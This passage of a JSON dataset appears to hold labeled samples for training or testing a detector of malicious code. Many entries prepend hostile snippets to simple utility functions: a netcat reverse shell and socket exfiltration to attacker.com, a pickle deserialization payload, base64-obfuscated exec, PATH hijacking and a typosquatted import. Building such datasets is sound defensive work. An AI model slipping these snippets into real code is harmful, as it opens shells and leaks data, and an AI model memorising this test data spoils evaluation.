str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_e71c5b5e", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_b0d98829", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_9bb6df10", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_74de3d35", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_9c99e72c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_9116dfd7", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_7fb1e009", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_eb685294", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_ece540d8", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c338bd49", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fp_4b71823c", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_3b4008b7", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6dc9d2df", + "type": "functional", + "code_snippet": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_866c5e2a", + "type": "functional", + "code_snippet": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_82322417", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fp_3b85d66b", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_7adbbc9d", + "type": "functional", + "code_snippet": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_5297ff9f", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_b5909134", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_d165ad58", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_ee3174d7", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_4376150e", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_61b35334", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a9c2d12a", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_363bd595", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_45d24566", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_1f83c073", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_0e9c88f6", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_6cf7e240", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_ac1fe917", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_9ad00093", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_3abb21d8", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_18a0dd9b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_99d924cf", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_931651db", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fn_98950c03", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_4d941d62", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_6be5eaff", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d7c2b05f", + "type": "functional", + "code_snippet": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_81148ff3", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c4b38cb3", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2d8d2de1", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_5d1ea318", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_2a6e268f", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_ebe08205", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_a65d0239", + "type": "functional", + "code_snippet": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_a68a5e34", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7b756640", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_21b7e147", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_79d21f7b", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n 